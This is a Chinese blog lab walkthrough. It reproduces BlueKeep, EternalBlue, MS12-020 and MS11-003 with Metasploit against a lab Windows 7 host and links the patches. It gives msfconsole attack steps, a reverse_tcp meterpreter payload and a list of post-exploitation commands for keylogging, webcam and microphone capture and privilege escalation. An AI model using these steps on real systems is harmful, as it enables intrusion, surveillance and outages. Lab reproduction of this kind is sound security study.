metasploit-framework（MSF）多漏洞复现案例(一)

已于 2024-07-26 16:26:50 修改
阅读量838 收藏 21
点赞数 14
文章标签： 安全 网络安全
于 2024-07-26 16:20:54 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/WLWB9277/article/details/140694494
版权

目录

一、CVE-2019-0708复现

1、漏洞探测

2、启动kali使用攻击

1.使用msfconsole进入metasploit-framework（MSF）攻击框架

2.search cve-2019-0708搜索渗透攻击模块

3.use 3 选择要利用的模块，info查看模块说明

4.配置靶机安装环境set target  3 

5.show options 查看配置，set rhosts设置被ip等

6.run攻击

漏洞修复：

二、MS17-010复现

1、漏洞探测

2、启动kali使用攻击

1.使用msfconsole进入metasploit-framework（MSF）攻击框架

2.search ms17-010搜索渗透攻击模块

3.use 2 选择要利用的模块，配置set rhosts 　　

4.run攻击

渗透后命令参考：

漏洞修复：

三、MS12-020漏洞复现

1、漏洞探测

　​编辑1.使用msfconsole进入metasploit-framework…（MSF）攻击框架　

　  ​编辑2.search ms12-020搜索渗透攻击模块，use 1选择Dos攻击

  ​编辑 3.show options 查看配置，set rhosts设置被ip等　　  

​编辑4.run攻击

漏洞修复：

三、MS11-003_IE_CSS_IMPORT

1.msfconsole启动msfconsole进入metasploit-framework…（MSF）攻击框架

2.search ms11-003搜索渗透攻击模块，use 3调用模块

3.show options 查看配置，set rhosts设置被ip等

4.run生成木马连接

5.靶机用IE浏览器访问该链接

6.sessions 查看上线的主机 sessions 1调用会话

漏洞修复：

一、CVE-2019-0708复现

        漏洞介绍：通过利用远程桌面的3389端口，RDP协议进行攻击，从而导致机器蓝屏瘫痪。该漏洞的触发无需任何用户交互操作，这就意味着，存在漏洞的计算机只要联网，无需任何操作，就有可能遭遇黑客远程攻击，运行恶意代码等，极具破坏性！

受影响的版本：Windows7

                         Windows Server 2008 R2

                         Windows Server 2008                 

                         Windows 2003         

                         Windows XP

环境准备：

                攻击机：kali2024             

                靶    机：windows7 旗舰版  192.168.18.23   关闭防火墙

1、漏洞探测

nessus扫描Windows7发现漏洞CVE-2019-0708

2、启动kali使用攻击

1.使用msfconsole进入metasploit-framework（MSF）攻击框架

2.search cve-2019-0708搜索渗透攻击模块

3.use 3 选择要利用的模块，info查看模块说明

4.配置靶机安装环境set target  3 

0  Automatic targeting via fingerprinting是通过指纹识别

5.show options 查看配置，set rhosts设置被ip等

6.run攻击

        靶机蓝屏，攻击成功，这里要注意选择架构时选择正确的系统架构，也可以在攻击时添加patload  （payload  windows/x64/meterpreter/reverse_tcp）反弹shell，控制靶机。

漏洞修复：

官网补丁:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708

二、MS17-010复现

        永恒之蓝(EternalBlue)是由美国国家安全局开发的漏洞利用程序,对应微软漏洞编号ms17-010。该漏洞利用工具由一个名为”影子经济人”（Shadow Brokers）的神秘黑客组织于2017年4月14日公开的利用工具之一，该漏洞利用工具针对TCP 445端口(Server Message Block/SMB)的文件分享协议进行攻击，攻击成功后将被用来传播病毒木马。由于利用永恒之蓝漏洞利用工具进行传播病毒木马事件多，影响特大，因此很多时候默认将ms17-010漏洞称为“永恒之蓝”。

受影响的版本：Windows Vista

                         Windows Server 2008

                         Windows 7

                         Windows Server 2008 R2。‌

环境准备：
                攻击机：kali2024             
                靶    机：windows7 旗舰版  192.168.18.23   关闭防火墙

1、漏洞探测

nessus扫描Windows7发现漏洞ms17-010

2、启动kali使用攻击


1.使用msfconsole进入metasploit-framework（MSF）攻击框架

2.search ms17-010搜索渗透攻击模块

　根据系统版本使用模块，这边选择windows7版本

3.use 2 选择要利用的模块，配置set rhosts 　　

4.run攻击

攻击成功

可以远程执行的命令shell，执行靶机的cmd命令

执行screenshot 截取靶机当前桌面截图

渗透后命令参考：

meterpreter命令：
keyscan_start 开始捕获击键（开始键盘记录）
keyscan_dump 转储按键缓冲（下载键盘记录）
keyscan_stop 停止捕获击键（停止键盘记录）
record_mic X秒从默认的麦克风record_mic音频记录（音频录制）
webcam_chat 开始视频聊天（视频，对方会有弹窗）
webcam_list 单摄像头（查看摄像头列表）
webcam_snap 采取快照从指定的摄像头（摄像头拍摄一张照片）
webcam_stream 播放视频流从指定的摄像头（开启摄像头监控）
enumdesktops 列出所有可访问的桌面和窗口站（窗体列表）
getdesktop 得到当前的Meterpreter桌面
reboot 重新启动远程计算机
shutdown 关闭远程计算机
shell 放入系统命令 shell
enumdesktops 列出所有可访问的桌面和窗口站
getdesktop 获取当前的meterpreter桌面
idletime 返回远程用户空闲的秒数
keyboard_send 发送击键
keyevent 发送按键事件
keyscan_dump 转储击键缓冲区
keyscan_start 开始捕获击键
keyscan_stop 停止捕获击键
mouse 发送鼠标事件
screenshare 实时观看远程用户桌面
screenshot 抓取交互式桌面的屏幕截图
setdesktop 更改 Meterpreters 当前桌面
uictl 控制一些用户界面组件
record_mic 从默认麦克风录制音频 X 秒
webcam_chat 开始视频聊天
webcam_list 列出网络摄像头
webcam_snap 从指定的网络摄像头拍摄快照
webcam_stream 播放来自指定网络摄像头的视频流
play 在目标系统上播放波形音频文件 (.wav)
getsystem 尝试将您的权限提升到本地系统的权限
execute -f notepad 打开记事本

cmd指令:
cat 读取文件内容到屏幕
cd 更改目录
checksum 检索文件的校验和
cp 将源复制到目标
del 删除指定文件
dir 列出文件（ls 的别名）
下载 下载文件或目录
编辑 编辑文件
getlwd 打印本地工作目录
getwd 打印工作目录
lcd 更改本地工作目录
lls 列出本地文件
lpwd 打印本地工作目录
ls 列出文件
mkdir 创建目录
mv 将源移动到目标
pwd 打印工作目录
rm 删除指定文件
rmdir 删除目录
search 搜索文件
show_mount 列出所有挂载点/逻辑驱动器
upload 上传文件或目录
pkill 按名称终止进程

漏洞修复：

官方补丁：如何验证是否已安装 MS17-010 - Microsoft 支持

三、MS12-020漏洞复现

        MS12-020是一个针对3389远程桌面RDP协议的漏洞。‌攻击者通过向目标主机的3389端口发送特意构造的RDP数据包，‌可能导致系统崩溃、‌蓝屏重启

受影响的版本：

                        Windows Server 2003

                        Windows Server 2008

                        Windows 7

环境准备：

                环境准备：
                攻击机：kali2024             
                靶    机：windows7 旗舰版  192.168.18.23   关闭防火墙

1、漏洞探测

nessus扫描Windows7发现漏洞ms12-020

　
1.使用msfconsole进入metasploit-framework…（MSF）攻击框架　

　  
2.search ms12-020搜索渗透攻击模块，use 1选择Dos攻击

   
3.show options 查看配置，set rhosts设置被ip等　　  


4.run攻击

漏洞修复：

        官方补丁：Microsoft Security Bulletin MS12-020 - Critical | Microsoft Learn

三、MS11-003_IE_CSS_IMPORT

        MS11-003_IE_CSS_IMPORT是指Microsoft Security Bulletin MS11-003中的一个安全漏洞，影响Internet Explorer（IE）浏览器。这个漏洞允许攻击者通过在CSS文件中使用@import规则来加载外部CSS文件，并且绕过浏览器的同源策略。攻击者可以利用这个漏洞进行跨站脚本攻击（XSS）或CSS历史记录窃取等恶意行为。

受影响的版本：
                        Internet Explorer 6
                        Internet Explorer 7
                        Internet Explorer 8
                        Windows Server 2003
                        Windows XP
                        Windows 7

环境准备：
                环境准备：
                攻击机：kali2024             
                靶    机：windows7 旗舰版  192.168.18.23   关闭防火墙

1.msfconsole启动msfconsole进入metasploit-framework…（MSF）攻击框架

　　

2.search ms11-003搜索渗透攻击模块，use 3调用模块

　　

3.show options 查看配置，set rhosts设置被ip等

　　

4.run生成木马连接

5.靶机用IE浏览器访问该链接

访问后可以看到kali监听上线


6.sessions 查看上线的主机 sessions 1调用会话

获得远控权限

漏洞修复：

                官方补丁：Microsoft 安全公告 MS11-003 - 严重 | Microsoft Learn

9277ll
关注
  • 14
    点赞
  • 踩
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Kali之MSF的MS08-067漏洞复现详解
qq_53058639的博客
02-26 1317
MS08-067漏洞是2008年的一个特大漏洞，该漏洞目前早已修补。ms08_067漏洞是的著名远程溢出漏洞，它的影响范围非常大，甚至一些vista的系统都会有这个远程溢出的漏洞,主要针对的是windowsWindowsxp下载。
MSF之漏洞复现
mackilo的博客
11-08 8420
ms10-018漏洞，它是IE浏览器漏洞，可以通过该漏洞获取目标主机的控制权。最严重的漏洞可能在用户使用IE浏览器查看特制网页时允许执行远程代码。详细信息。
CVE-2018-2883漏洞利用程序msf
03-27
CVE-2018-2883漏洞利用程序
MSF本地漏洞复现
weixin_44508748的博客
04-24 1035
MS08-067复现 MS08-067攻击者利用受害者主机默认开放的SMB服务端口445，发送特殊RPC请求，造成栈缓冲区内存错误，从而被利用实施远程代码执行。当用户在受影响的系统上收到RPC请求时，该漏洞会允许远程执行代码，攻击者可以在未经身份验证情况下利用此漏洞运行任意代码。它影响的Windows系统包括：Windows 2000、Windows XP、Windows Server 2003 ...
CVE-2019-0708漏洞，kali的msf中模块利用复现
Mr_jingjing的博客
03-08 844
CVE-2019-0708漏洞，kali的msf中模块利用 最近在学习渗透过程，后渗透内网阶段，因为查找对应msf在安卓或者windows的 shell获取中偶然发现这个漏洞，所以自己复现一下，在此记录一下自己复现过程中参考的资料和出现的问题。 参考资料： https://blog.csdn.net/qq_43331608/article/details/102013594 https://blo...
Metasploit Framework-3.0【漏洞扫描】
gxj022的专栏
04-18 897
http://www.cnhacker.com/Download/Scanner/200707/t20070725_922.html  软件简介：2004年Metasploit的发布在安全界引发了强烈的地震。没有一款新工具能够一发布就挤进此列表的15强（也就是说2000年和2003年的调查没有这种情况），更何况此工具更在5强之列，超过了很多广为流传的诞生了几十年的老牌工具。它是一个
metasploit-framework-master.zip
09-08
"metasploit-framework-master.zip" 是这个框架的源代码压缩包，包含了完整的开发环境和工具集合。 **Metasploit框架的核心组件** 1. **Payloads（有效载荷）**：有效载荷是攻击的核心部分，它们在目标系统上执行...
metasploit-framework-6.3.34.zip
09-17
Metasploit Framework，简称MSF，是一款开源的安全漏洞检测工具，主要用于安全研究人员进行渗透测试和漏洞验证。这个版本是6.3.34，代表着软件的最新迭代，通常会包含最新的功能、修复和性能改进。在网络安全领域，...
dockerfile-msf:该Dockerfile构建了一个安装了Metasploit-Framework的基于Debian的Docker容器。 在任何设备上（包括Linux，MacOS或Windows）部署Metasploit的快速简便方法！
05-23
该Dockerfile构建了一个安装了Metasploit-Framework的基于Debian的Docker容器。 在任何设备上（包括Linux，MacOS或Windows）部署Metasploit的快速简便方法！ MSF通过以下方式自动启动： 安装所有依赖项， 启动时...
如何更新msf及其结构
10-08
更新msf 及其结构 exploit framework 的利用 很不错的哦
metasploitframework-win-x64
10-05
Metasploit Framework 作为一个缓冲区溢出测试使用的辅助工具，也可以说是一个漏洞利用和测试平台。它集成了各平台上常见的溢出漏洞和流行的shellcode，并且不断更新，使得缓冲区溢出测试变得方便和简单。 使用...
metasploit-framework-6.4.12.zip
最新发布
06-23
Metasploit Framework 是全球最知名的开源渗透测试工具之一，它为安全研究人员、红队成员以及信息安全专业人士提供了强大的漏洞利用和攻击模拟能力。在最新发布的 6.4.12 版本中，我们看到这个框架持续优化和完善，...
MSF | 漏洞利用
君逍遥o
10-22 741
MSF是一个综合性渗透测试工具，集成信息收集、漏洞扫描、漏洞利用以及提权等功能的工具。
初探 Metasploit 漏洞框架
GitChat
04-12 3276
Metasploit 就是一个漏洞框架。它的全称叫做 The Metasploit Framework，简称叫做 MSF。Metasploit 作为全球最受欢迎的工具，不仅仅是因为它的方便性和强大性，更重要的是它的框架。它允许使用者开发自己的漏洞脚本，从而进行测试。 几乎任何公开通用漏洞都会被添加到 Metasploit 的武器库里，所以用好 Metasploit 是渗透致胜的关键。 本场 Cha...
漏洞利用一：MSF 漏洞验证专题
ZY95001的博客
09-04 3351
一、MSF介绍 Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework，简称MSF。是一个免费、可下载的框架，通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数2000多个已知软件漏洞的专业级漏洞攻击工具。安全专家以及业余安全爱好者更多地将其当作一种点几下鼠标就可以利用其中附带的攻击工具进行成功攻击的环境。 兼有windows与linux两种版本。 二、相关专业术语 1.渗透攻击(Exploit)：...
【常用工具】MSF使用教程（一）漏洞扫描与利用（以永恒之蓝漏洞复现为例）_msf漏洞扫描
2201_75735270的博客
03-29 3489
背景：永恒之蓝（Eternal Blue）爆发于2017年4月14日晚，是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限，以此来控制被入侵的计算机。甚至于2017年5月12日， 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒，使全世界大范围内遭受了该勒索病毒，甚至波及到学校、大型企业、政府等机构，只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。
MSF之ssh_login漏洞
m0_57485346的博客
12-15 866
ssh_login漏洞
cve-2017-7504漏洞复现
08-23
您好！对于CVE-2017-7504漏洞的复现，请注意以下几个步骤： 1. 确认受影响的软件版本：CVE-2017-7504是一个Apache Struts 2框架中的远程代码执行漏洞。在复现之前，请确保目标系统运行的是受影响的Apache Struts 2版本。 2. 搭建相应的环境：您可以在漏洞复现环境中使用Apache Struts 2漏洞测试框架，例如Metasploit或其他可用的漏洞测试工具。 3. 指定目标URL：使用合适的工具，指定目标URL以进行漏洞利用。通常，您需要提供目标系统上受影响的Struts 2应用程序的URL。 4. 发起攻击：使用漏洞利用工具执行相应的攻击代码。具体的攻击方法取决于您使用的工具和漏洞利用脚本。 请注意，漏洞复现属于未经授权的活动，可能违反法律法规，因此我们强烈建议仅在合法授权和合规测试范围内进行漏洞复现。此外，对于未经授权或非法目的使用该漏洞进行攻击是违法行为，且可能导致严重后果。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值